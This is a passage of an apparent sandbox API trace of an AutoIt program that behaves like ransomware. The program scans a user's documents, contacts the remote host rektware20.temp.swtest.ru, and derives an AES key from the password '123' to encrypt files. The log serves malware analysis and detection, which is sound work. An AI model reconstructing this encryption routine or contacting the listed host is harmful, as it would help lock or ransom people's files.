cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OxvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xvDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vDB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DB8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fIW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IW 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0070.930] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0070.930] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0070.930] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0070.930] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0070.930] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0070.930] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0070.930] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0070.930] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0070.930] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ee1c) returned 1 [0070.931] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0070.931] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0070.931] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0070.931] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0070.931] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0070.931] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0070.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0070.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0070.932] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0070.932] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0070.932] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0070.932] CloseHandle (hObject=0x0) returned 0 [0070.932] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.933] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OxvDB8fIW 8a.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0070.933] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0070.933] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.933] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.933] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0070.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.933] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0070.933] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.934] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0070.934] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.934] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.934] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.934] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.934] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0070.934] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0070.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0070.935] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0070.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0070.936] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0070.936] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0070.936] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa5e8) returned 1 [0070.937] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.937] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.937] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0070.937] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.937] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.937] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.937] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.937] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.937] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.937] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.937] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0070.938] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0070.938] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.939] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.939] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0070.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.939] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.939] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.940] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.940] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.940] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.940] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.940] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.940] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.940] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.940] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.940] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.940] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.941] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.941] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.941] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.941] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.942] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.942] CryptCreateHash (in: hProv=0x17aa5e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.942] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.942] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.942] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.942] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.943] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.943] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629410, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.943] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.943] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.943] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.943] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621900, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.944] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.944] CryptHashData (hHash=0x164c830, pbData=0x16293d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.944] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.944] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.945] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.945] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.945] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.946] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.946] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.946] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.947] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.947] CryptDeriveKey (in: hProv=0x17aa5e8, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c770) returned 1 [0070.948] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.948] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 